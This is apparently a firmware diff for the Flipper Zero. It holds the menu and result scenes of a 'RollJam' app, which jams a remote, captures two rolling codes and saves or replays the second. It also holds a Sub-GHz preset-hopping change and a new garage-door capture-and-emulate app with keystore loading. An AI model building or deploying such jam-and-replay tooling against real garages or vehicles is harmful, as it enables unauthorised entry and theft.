if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
return JamOffIndex_300k;
}
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(app->jam_offset_index < min_idx) {
app->jam_offset_index = min_idx;
app->jam_offset_hz = jam_offset_values[min_idx];
if(offset_item) {
variable_item_set_current_value_index(offset_item, min_idx);
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
}
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
jam_offset_names[min_idx]);
}
}
static VariableItem* s_offset_item = NULL;
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
enforce_min_offset(app, s_offset_item);
}
static void menu_jam_offset_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(index < min_idx) {
index = min_idx;
variable_item_set_current_value_index(item, index);
}
app->jam_offset_index = index;
app->jam_offset_hz = jam_offset_values[index];
variable_item_set_current_value_text(item, jam_offset_names[index]);
}
static void menu_hw_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->hw_index = index;
variable_item_set_current_value_text(item, hw_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 4) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
}
}
void rolljam_scene_menu_on_enter(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
// --- Frequency ---
VariableItem* freq_item = variable_item_list_add(
app->var_item_list,
"Frequency",
FreqIndex_COUNT,
menu_freq_changed,
app);
variable_item_set_current_value_index(freq_item, app->freq_index);
variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
// --- Modulation ---
VariableItem* mod_item = variable_item_list_add(
app->var_item_list,
"Modulation",
ModIndex_COUNT,
menu_mod_changed,
app);
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
// --- Jam Offset ---
VariableItem* offset_item = variable_item_list_add(
app->var_item_list,
"Jam Offset",
JamOffIndex_COUNT,
menu_jam_offset_changed,
app);
s_offset_item = offset_item;
enforce_min_offset(app, offset_item);
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
// --- Hardware ---
VariableItem* hw_item = variable_item_list_add(
app->var_item_list,
"Hardware",
HwIndex_COUNT,
menu_hw_changed,
app);
variable_item_set_current_value_index(hw_item, app->hw_index);
variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
// --- Start button ---
variable_item_list_add(
app->var_item_list,
">> START ATTACK <<",
0,
NULL,
app);
variable_item_list_set_enter_callback(
app->var_item_list, menu_enter_callback, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewVarItemList);
}
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
enforce_min_offset(app, NULL);
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase1);
return true;
}
}
return false;
}
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
s_offset_item = NULL;
variable_item_list_reset(app->var_item_list);
}
@@ -1,110 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
// ============================================================
static void result_dialog_callback(DialogExResult result, void* context) {
RollJamApp* app = context;
if(result == DialogExResultLeft) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSaveSignal);
} else if(result == DialogExResultRight) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventReplayNow);
}
}
void rolljam_scene_result_on_enter(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
dialog_ex_set_header(
app->dialog_ex, "Attack Complete!",
64, 2, AlignCenter, AlignTop);
dialog_ex_set_text(
app->dialog_ex,
"1st code: SENT to target\n"
"2nd code: IN MEMORY\n\n"
"What to do with 2nd?",
64, 18, AlignCenter, AlignTop);
dialog_ex_set_left_button_text(app->dialog_ex, "Save");
dialog_ex_set_right_button_text(app->dialog_ex, "Send");
dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
dialog_ex_set_context(app->dialog_ex, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewDialogEx);
}
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
popup_set_header(
app->popup, "Saved!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
notification_message(app->notification, &sequence_success);
return true;
} else if(event.event == RollJamEventReplayNow) {
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup, "Sending 2nd code NOW",
64, 38, AlignCenter, AlignCenter);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);
popup_set_header(
app->popup, "Done!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"2nd code transmitted!\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_result_on_exit(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
popup_reset(app->popup);
}
@@ -1,53 +0,0 @@
#include "rolljam_attack_view.h"
#include <gui/canvas.h>
// ============================================================
// Custom drawing for attack status
// Reserved for future use with a custom View
// Currently the app uses Widget modules instead
// ============================================================
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
canvas_clear(canvas);
// Title bar
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
// Separator
canvas_draw_line(canvas, 0, 14, 128, 14);
// Status
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
// Indicators
int y = 32;
if(state->jamming) {
canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
// Animated dots could go here
} else {
canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
}
y += 12;
if(state->capturing) {
canvas_draw_str(canvas, 4, y, "RX: [LISTENING]");
} else {
canvas_draw_str(canvas, 4, y, "RX: [OFF]");
}
y += 12;
// Signal counter
char buf[32];
snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
canvas_draw_str(canvas, 4, y, buf);
// Footer
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
}
@@ -1,23 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* Custom view for attack visualization.
* Currently the app uses Widget and DialogEx for display.
* This file is reserved for a future custom canvas-drawn view
* (e.g., signal waveform display, animated jamming indicator).
*
* For now it provides a simple status draw function.
*/
typedef struct {
const char* phase_text;
const char* status_text;
bool jamming;
bool capturing;
int signal_count;
} AttackViewState;
// Draw attack status on a canvas (for future custom View use)
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);
+1 -3
View File
@@ -4,14 +4,12 @@ App(
apptype=FlipperAppType.METAPACKAGE,
provides=[
"gpio",
"infrared",
"lfrfid",
"nfc",
"subghz",
"rolljam",
"subghz_remote",
"subghz_bruteforcer",
"archive",
"subghz_remote",
"main_apps_on_start",
],
)
+34 -32
View File
@@ -1,9 +1,11 @@
#include "subghz_txrx_i.h" // IWYU pragma: keep
#include <math.h>
#include <furi_hal_subghz.h>
#include <lib/subghz/protocols/protocol_items.h>
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
#include "../../../../lib/subghz/devices/subghz_preset_delta.h"
#include <lib/subghz/blocks/custom_btn.h>
#define TAG "SubGhzTxRx"
@@ -498,6 +500,36 @@ void subghz_txrx_hopper_pause(SubGhzTxRx* instance) {
}
}
// Identify the hop index (0=AM650, 1=FM476, 2=FM95) from the name.
// Must match the order defined in subghz_preset_delta.h
static int subghz_hop_index_from_name(const char* name) {
if(strcmp(name, "AM650") == 0) return 0;
if(strcmp(name, "FM476") == 0) return 1;
if(strcmp(name, "FM95") == 0) return 2;
return -1; // is not part of the fast hopping set
}
// Applies the target preset using delta-patch (without SRES) when possible,
// or falls back to the original full reload in any other case.
static void subghz_txrx_apply_preset_fast(
SubGhzTxRx* instance,
const char* old_preset_name,
const char* preset_name) {
int from_idx = subghz_hop_index_from_name(old_preset_name);
int to_idx = subghz_hop_index_from_name(preset_name);
if(instance->radio_device_type == SubGhzRadioDeviceTypeInternal && from_idx >= 0 &&
to_idx >= 0 && from_idx != to_idx) {
// Fast path: delta-patch without SRES or full reload (only internal CC1101)
const PresetDeltaEntry* e = &preset_delta_table[from_idx][to_idx];
furi_hal_subghz_apply_preset_delta(e->delta, e->delta_len, e->needs_scal, e->pa_table);
} else {
// Fallback: original behavior (full reload)
subghz_devices_load_preset(
instance->radio_device, FuriHalSubGhzPresetCustom, instance->preset->data);
}
}
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold) {
furi_assert(instance);
@@ -550,22 +582,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, actual_preset_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
subghz_txrx_rx(instance, instance->preset->frequency);
}
@@ -588,22 +605,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, instance->preset_hopper_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
subghz_txrx_rx(instance, instance->preset->frequency);
}
@@ -0,0 +1,104 @@
App(
appid="garage_door_remote",
name="Garage Door Remote",
apptype=FlipperAppType.EXTERNAL,
targets=["f7"],
entry_point="gdr_app",
requires=["gui"],
stack_size=8 * 1024,
fap_description="Capture and emulate garage and gate remote signals from Sub-GHz",
fap_version="2.6",
fap_icon="images/gdr_10x10.png",
fap_category="Sub-GHz",
fap_icon_assets="images",
fap_file_assets="keystore",
sources=[
"gdr_app.c",
"gdr_app_i.c",
"gdr_history.c",
"helpers/gdr_psa_bf_host.c",
"helpers/gdr_settings.c",
"helpers/gdr_storage.c",
"helpers/radio_device_loader.c",
"helpers/raw_file_reader.c",
"scenes/gdr_scene.c",
"scenes/gdr_scene_about.c",
"scenes/gdr_scene_dual_receiver.c",
"scenes/gdr_scene_dual_receiver_config.c",
"scenes/gdr_scene_emulate.c",
"scenes/gdr_scene_need_saving.c",
"scenes/gdr_scene_receiver.c",
"scenes/gdr_scene_receiver_config.c",
"scenes/gdr_scene_receiver_info.c",
"scenes/gdr_scene_saved.c",
"scenes/gdr_scene_saved_info.c",
"scenes/gdr_scene_shield_receiver.c",
"scenes/gdr_scene_shield_receiver_config.c",
"scenes/gdr_scene_start.c",
"scenes/gdr_scene_sub_decode.c",
"scenes/gdr_scene_timing_tuner.c",
"views/gdr_dual_receiver.c",
"views/gdr_receiver.c",
"protocols/protocol_items.c",
"protocols/protocols_common.c",
"protocols/keys.c",
],
)
App(
appid="gdr_am_plugin",
apptype=FlipperAppType.PLUGIN,
entry_point="gdr_am_plugin_ep",
requires=["garage_door_remote"],
sources=[
"protocols/plugins/gdr_am_plugin.c",
"protocols/protocols_common.c",
"protocols/keys.c",
"protocols/alutech_at_4n.c",
"protocols/beninca_arc.c",
"protocols/came.c",
"protocols/came_atomo.c",
"protocols/came_twee.c",
"protocols/chamberlain_code.c",
"protocols/clemsa.c",
"protocols/dooya.c",
"protocols/faac_slh.c",
"protocols/gate_tx.c",
"protocols/hormann.c",
"protocols/keeloq.c",
"protocols/linear.c",
"protocols/linear_delta3.c",
"protocols/megacode.c",
"protocols/nice_flo.c",
"protocols/nice_flor_s.c",
"protocols/princeton.c",
"protocols/somfy_keytis.c",
"protocols/somfy_telis.c",
],
fal_embedded=True,
)
App(
appid="gdr_fm_plugin",
apptype=FlipperAppType.PLUGIN,
entry_point="gdr_fm_plugin_ep",
requires=["garage_door_remote"],
sources=[
"protocols/plugins/gdr_fm_plugin.c",
"protocols/protocols_common.c",
"protocols/keys.c",
"protocols/ansonic.c",
],
fal_embedded=True,
)
App(
appid="gdr_emulate_plugin",
apptype=FlipperAppType.PLUGIN,
entry_point="gdr_emulate_plugin_ep",
requires=["garage_door_remote"],
sources=[
"scenes/plugins/gdr_emulate_plugin.c",
],
fal_embedded=True,
)
@@ -0,0 +1,26 @@
#pragma once
//#define ENABLE_TIMING_TUNER_SCENE
//#define ENABLE_SUB_DECODE_SCENE
#define ENABLE_EMULATE_FEATURE
//#define ENABLE_DUAL_RX_SCENE
//#define ENABLE_SHIELD_RX_SCENE
#define REMOVE_LOGS
#ifdef REMOVE_LOGS
// Undefine existing macros
#undef FURI_LOG_E
#undef FURI_LOG_W
#undef FURI_LOG_I
#undef FURI_LOG_D
#undef FURI_LOG_T
// Define empty macros
#define FURI_LOG_E(tag, format, ...)
#define FURI_LOG_W(tag, format, ...)
#define FURI_LOG_I(tag, format, ...)
#define FURI_LOG_D(tag, format, ...)
#define FURI_LOG_T(tag, format, ...)
#endif // REMOVE_LOGS
@@ -0,0 +1,3 @@
#pragma once
#include <lib/subghz/environment.h>
@@ -0,0 +1,879 @@
// gdr_app.c
#include "gdr_app_i.h"
#include <furi.h>
#include <furi_hal.h>
#include "protocols/protocol_items.h"
#include "protocols/protocols_common.h"
#include "helpers/gdr_settings.h"
#include "helpers/gdr_storage.h"
#include "helpers/gdr_psa_bf_host.h"
#include "protocols/keys.h"
#include <string.h>
#define TAG "GDRApp"
#if defined(ENABLE_DUAL_RX_SCENE) || defined(ENABLE_SHIELD_RX_SCENE)
static bool gdr_setting_has_frequency(SubGhzSetting* setting, uint32_t frequency) {
size_t count = subghz_setting_get_frequency_count(setting);
for(size_t i = 0; i < count; i++) {
if(subghz_setting_get_frequency(setting, i) == frequency) {
return true;
}
}
return false;
}
#endif
#ifdef ENABLE_DUAL_RX_SCENE
static GDRProtocolRegistryFilter gdr_setting_preset_filter(
SubGhzSetting* setting,
uint8_t index) {
return gdr_get_protocol_registry_filter_for_preset(
subghz_setting_get_preset_data(setting, index),
subghz_setting_get_preset_data_size(setting, index));
}
static uint8_t gdr_find_preset_by_name_or_filter(
SubGhzSetting* setting,
const char* preferred_name,
GDRProtocolRegistryFilter filter) {
size_t count = subghz_setting_get_preset_count(setting);
for(size_t i = 0; i < count; i++) {
if(strcmp(subghz_setting_get_preset_name(setting, i), preferred_name) == 0 &&
gdr_setting_preset_filter(setting, (uint8_t)i) == filter) {
return (uint8_t)i;
}
}
for(size_t i = 0; i < count; i++) {
if(gdr_setting_preset_filter(setting, (uint8_t)i) == filter) {
return (uint8_t)i;
}
}
return UINT8_MAX;
}
static uint8_t
gdr_find_preset_by_name(SubGhzSetting* setting, const char* preset_name) {
if(!preset_name || preset_name[0] == '\0') {
return UINT8_MAX;
}
size_t count = subghz_setting_get_preset_count(setting);
for(size_t i = 0; i < count; i++) {
if(strcmp(subghz_setting_get_preset_name(setting, i), preset_name) == 0) {
return (uint8_t)i;
}
}
return UINT8_MAX;
}
#endif
static bool gdr_app_custom_event_callback(void* context, uint32_t event) {
furi_check(context);
GDRApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
static bool gdr_app_back_event_callback(void* context) {
furi_check(context);
GDRApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static void gdr_app_tick_event_callback(void* context) {
furi_check(context);
GDRApp* app = context;
scene_manager_handle_tick_event(app->scene_manager);
}
bool gdr_ensure_variable_item_list(GDRApp* app) {
furi_check(app);
if(app->variable_item_list) {
return true;
}
app->variable_item_list = variable_item_list_alloc();
if(!app->variable_item_list) {
return false;
}
view_dispatcher_add_view(
app->view_dispatcher,
GDRViewVariableItemList,
variable_item_list_get_view(app->variable_item_list));
return true;
}
bool gdr_ensure_widget(GDRApp* app) {
furi_check(app);
if(app->widget) {
return true;
}
app->widget = widget_alloc();
if(!app->widget) {
return false;
}
view_dispatcher_add_view(
app->view_dispatcher, GDRViewWidget, widget_get_view(app->widget));
return true;
}
bool gdr_ensure_text_input(GDRApp* app) {
furi_check(app);
if(app->text_input) {
return true;
}
app->text_input = text_input_alloc();
if(!app->text_input) {
return false;
}
view_dispatcher_add_view(
app->view_dispatcher, GDRViewTextInput, text_input_get_view(app->text_input));
return true;
}
bool gdr_ensure_view_about(GDRApp* app) {
furi_check(app);
if(app->view_about) {
return true;
}
app->view_about = view_alloc();
if(!app->view_about) {
return false;
}
view_dispatcher_add_view(app->view_dispatcher, GDRViewAbout, app->view_about);
return true;
}
bool gdr_ensure_receiver_view(GDRApp* app) {
furi_check(app);
if(app->gdr_receiver) {
return true;
}
app->gdr_receiver = gdr_view_receiver_alloc(app->auto_save);
if(!app->gdr_receiver) {
return false;
}
view_dispatcher_add_view(
app->view_dispatcher,
GDRViewReceiver,
gdr_view_receiver_get_view(app->gdr_receiver));
return true;
}
#ifdef ENABLE_DUAL_RX_SCENE
bool gdr_ensure_dual_receiver_view(GDRApp* app) {
furi_check(app);
if(app->dual_receiver) {
return true;
}
app->dual_receiver = gdr_view_dual_receiver_alloc();
if(!app->dual_receiver) {
return false;
}
view_dispatcher_add_view(
app->view_dispatcher,
GDRViewDualReceiver,
gdr_view_dual_receiver_get_view(app->dual_receiver));
return true;
}
#endif
static void gdr_radio_init_cleanup(GDRApp* app, bool devices_initialized) {
furi_check(app);
furi_check(app->txrx);
if(app->txrx->receiver) {
subghz_receiver_free(app->txrx->receiver);
app->txrx->receiver = NULL;
}
if(app->txrx->radio_device) {
if(devices_initialized) {
subghz_devices_idle(app->txrx->radio_device);
}
radio_device_loader_end(app->txrx->radio_device);
app->txrx->radio_device = NULL;
}
if(app->txrx->environment) {
subghz_environment_free(app->txrx->environment);
app->txrx->environment = NULL;
}
if(app->txrx->protocol_plugin_manager) {
plugin_manager_free(app->txrx->protocol_plugin_manager);
app->txrx->protocol_plugin_manager = NULL;
}
if(app->txrx->plugin_resolver) {
composite_api_resolver_free(app->txrx->plugin_resolver);
app->txrx->plugin_resolver = NULL;
}
if(devices_initialized) {
subghz_devices_deinit();
}
app->txrx->protocol_registry = NULL;
app->txrx->protocol_plugin = NULL;
app->txrx->protocol_registry_filter = GDRProtocolRegistryFilterAM;
app->txrx->txrx_state = GDRTxRxStateIDLE;
app->radio_initialized = false;
}
GDRApp* gdr_app_alloc() {
gdr_storage_purge_temp_history_at_startup();
GDRApp* app = malloc(sizeof(GDRApp));
if(!app) {
FURI_LOG_E(TAG, "Failed to allocate GDRApp app !");
return NULL;
}
memset(app, 0, sizeof(GDRApp));
FURI_LOG_I(TAG, "Allocating GDR Decoder App");
// GUI
app->gui = furi_record_open(RECORD_GUI);
// View Dispatcher
app->view_dispatcher = view_dispatcher_alloc();
#if defined(FW_ORIGIN_RM)
view_dispatcher_enable_queue(app->view_dispatcher);
#endif
app->scene_manager = scene_manager_alloc(&gdr_scene_handlers, app);
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, gdr_app_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, gdr_app_back_event_callback);
view_dispatcher_set_tick_event_callback(
app->view_dispatcher, gdr_app_tick_event_callback, 100);
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// Open Notification record
app->notifications = furi_record_open(RECORD_NOTIFICATION);
// Open Dialogs record
app->dialogs = furi_record_open(RECORD_DIALOGS);
// SubMenu
app->submenu = submenu_alloc();
view_dispatcher_add_view(
app->view_dispatcher, GDRViewSubmenu, submenu_get_view(app->submenu));
app->save_protocol = NULL;
app->save_from_saved_info = false;
app->save_history_idx = 0;
app->emulate_disabled_for_loaded = false;
memset(app->save_filename, 0, sizeof(app->save_filename));
// File Browser path
app->file_path = furi_string_alloc();
furi_string_set(app->file_path, GDR_APP_FOLDER);
// Load saved settings
GDRSettings settings;
gdr_settings_load(&settings);
// Apply auto-save setting
app->auto_save = settings.auto_save;
app->tx_power = settings.tx_power;
if(app->tx_power >= 9U) {
app->tx_power = 0;
}
app->emulate_feature_enabled = settings.emulate_feature_enabled;
// Init setting - KEEP THIS, it's small
app->setting = subghz_setting_alloc();
app->loaded_file_path = NULL;
app->start_tx_time = 0;
subghz_setting_load(app->setting, EXT_PATH("subghz/assets/setting_user"));
// Apply loaded frequency and preset, with validation
uint32_t frequency = settings.frequency;
uint8_t preset_index = settings.preset_index;
// Validate frequency
bool frequency_valid = false;
for(size_t i = 0; i < subghz_setting_get_frequency_count(app->setting); i++) {
if(subghz_setting_get_frequency(app->setting, i) == frequency) {
frequency_valid = true;
break;
}
}
if(!frequency_valid) {
frequency = subghz_setting_get_default_frequency(app->setting);
FURI_LOG_W(TAG, "Saved frequency invalid, using default: %lu", frequency);
}
// Validate preset index
if(preset_index >= subghz_setting_get_preset_count(app->setting)) {
preset_index = 0;
FURI_LOG_W(TAG, "Saved preset index invalid, using default");
}
// Initialize TxRx structure with minimal setup
app->lock = GDRLockOff;
app->txrx = malloc(sizeof(GDRTxRx));
furi_check(app->txrx);
memset(app->txrx, 0, sizeof(GDRTxRx));
app->txrx->preset = malloc(sizeof(SubGhzRadioPreset));
furi_check(app->txrx->preset);
app->txrx->preset->name = furi_string_alloc();
furi_check(app->txrx->preset->name);
app->txrx->txrx_state = GDRTxRxStateIDLE;
app->txrx->rx_key_state = GDRRxKeyStateIDLE;
app->txrx->protocol_registry_filter = GDRProtocolRegistryFilterAM;
// Get preset name and data
const char* preset_name = subghz_setting_get_preset_name(app->setting, preset_index);
uint8_t* preset_data = subghz_setting_get_preset_data(app->setting, preset_index);
size_t preset_data_size = subghz_setting_get_preset_data_size(app->setting, preset_index);
FURI_LOG_I(
TAG,
"Settings: freq=%lu, preset=%s, auto_save=%d, hopping=%d",
frequency,
preset_name,
settings.auto_save,
settings.hopping_enabled);
gdr_preset_init(app, preset_name, frequency, preset_data, preset_data_size);
#ifdef ENABLE_DUAL_RX_SCENE
uint32_t default_frequency = subghz_setting_get_default_frequency(app->setting);
app->dual_freq_a = gdr_setting_has_frequency(app->setting, settings.dual_freq_a) ?
settings.dual_freq_a :
default_frequency;
app->dual_freq_b = gdr_setting_has_frequency(app->setting, settings.dual_freq_b) ?
settings.dual_freq_b :
default_frequency;
uint8_t preset_count = (uint8_t)subghz_setting_get_preset_count(app->setting);
uint8_t named_preset_a =
gdr_find_preset_by_name(app->setting, settings.dual_preset_name_a);
uint8_t named_preset_b =
gdr_find_preset_by_name(app->setting, settings.dual_preset_name_b);
app->dual_preset_a =
named_preset_a != UINT8_MAX ? named_preset_a : settings.dual_preset_a;
app->dual_preset_b =
named_preset_b != UINT8_MAX ? named_preset_b : settings.dual_preset_b;
if(preset_count == 0) {
app->dual_preset_a = UINT8_MAX;
app->dual_preset_b = UINT8_MAX;
} else if(app->dual_preset_a >= preset_count) {
app->dual_preset_a = gdr_find_preset_by_name_or_filter(
app->setting, "AM650", GDRProtocolRegistryFilterAM);
if(app->dual_preset_a == UINT8_MAX) {
app->dual_preset_a = 0;
}
}
if(app->dual_preset_b >= preset_count) {
app->dual_preset_b = gdr_find_preset_by_name_or_filter(
app->setting, "FM476", GDRProtocolRegistryFilterFM);
if(app->dual_preset_b == UINT8_MAX) {
app->dual_preset_b = 0;
}
}
#endif
#ifdef ENABLE_SHIELD_RX_SCENE
{
uint32_t default_frequency = subghz_setting_get_default_frequency(app->setting);
app->shield_freq = gdr_setting_has_frequency(app->setting, settings.shield_freq) ?
settings.shield_freq :
default_frequency;
app->shield_preset_index = settings.shield_preset_index;
if(app->shield_preset_index >= subghz_setting_get_preset_count(app->setting)) {
app->shield_preset_index = preset_index;
}
app->shield_tx_offset_index = settings.shield_tx_offset_index;
if(app->shield_tx_offset_index >= 12U) {
app->shield_tx_offset_index = 3U;
}
app->shield_tx_power = settings.shield_tx_power;
if(app->shield_tx_power >= 9U) {
app->shield_tx_power = 0U;
}
}
#endif
// Apply hopping state from settings
app->txrx->hopper_state = settings.hopping_enabled ? GDRHopperStateRunning :
GDRHopperStateOFF;
app->txrx->hopper_idx_frequency = 0;
app->txrx->hopper_timeout = 0;
app->txrx->idx_menu_chosen = 0;
app->radio_initialized = false;
return app;
}
bool gdr_radio_init(GDRApp* app) {
furi_check(app);
furi_check(app->txrx);
FURI_LOG_I(TAG, "=== gdr_radio_init called ===");
FURI_LOG_D(TAG, "State: radio_initialized=%d", app->radio_initialized);
if(app->radio_initialized) {
const bool radio_ready = (app->txrx->environment != NULL) &&
(app->txrx->radio_device != NULL);
if(radio_ready) {
FURI_LOG_D(TAG, "Radio already initialized, returning true");
return true;
}
FURI_LOG_W(
TAG,
"Radio marked initialized but resources missing (env=%p device=%p), repairing",
app->txrx->environment,
app->txrx->radio_device);
gdr_radio_deinit(app);
}
// Fresh radio init - nothing was initialized before
FURI_LOG_I(TAG, "Fresh radio init - allocating all components");
// Create environment with our custom protocols
app->txrx->environment = subghz_environment_alloc();
if(!app->txrx->environment) {
FURI_LOG_E(TAG, "Failed to allocate environment!");
gdr_radio_init_cleanup(app, false);
return false;
}
app->txrx->protocol_registry = NULL;
if(!gdr_refresh_protocol_registry(app, false)) {
FURI_LOG_E(TAG, "Failed to configure protocol registry");
gdr_radio_init_cleanup(app, false);
return false;
}
// Load keystores
subghz_environment_load_keystore(app->txrx->environment, GDR_KEYSTORE_DIR_NAME);
// Load GDR specific keys
gdr_keys_load(app->txrx->environment);
FURI_LOG_I(TAG, "Loaded GDR secure keys");
// Initialize SubGhz devices
subghz_devices_init();
FURI_LOG_D(TAG, "SubGhz devices initialized");
// Try external CC1101 first
app->txrx->radio_device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeExternalCC1101);
// if not loading, fallback to internal
if(!app->txrx->radio_device) {
FURI_LOG_W(TAG, "External CC1101 not found, trying internal radio");
app->txrx->radio_device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeInternal);
}
if(!app->txrx->radio_device) {
FURI_LOG_E(TAG, "Failed to initialize any radio device!");
gdr_radio_init_cleanup(app, true);
return false;
}
#ifndef REMOVE_LOGS
const char* device_name = subghz_devices_get_name(app->txrx->radio_device);
bool is_external = device_name && strstr(device_name, "ext");
FURI_LOG_I(
TAG,
"Radio device initialized: %s (%s)",
device_name ? device_name : "unknown",
is_external ? "external" : "internal");
#endif
subghz_devices_reset(app->txrx->radio_device);
subghz_devices_idle(app->txrx->radio_device);
app->radio_initialized = true;
FURI_LOG_D(TAG, "Final state: radio_initialized=%d", app->radio_initialized);
return true;
}
// Deinitialize radio subsystem
void gdr_radio_deinit(GDRApp* app) {
FURI_LOG_I(TAG, "=== gdr_radio_deinit called ===");
FURI_LOG_D(TAG, "State: radio_initialized=%d", app->radio_initialized);
FURI_LOG_D(
TAG,
"Pointers: worker=%p, environment=%p, receiver=%p, history=%p, radio_device=%p",
app->txrx->worker,
app->txrx->environment,
app->txrx->receiver,
app->txrx->history,
app->txrx->radio_device);
bool has_radio_resources = app->radio_initialized || app->txrx->worker ||
app->txrx->environment || app->txrx->receiver ||
app->txrx->history || app->txrx->radio_device;
if(!has_radio_resources) {
FURI_LOG_D(TAG, "Radio resources were not initialized, returning");
return;
}
bool devices_initialized = app->radio_initialized || (app->txrx->radio_device != NULL);
// Make sure we're not receiving
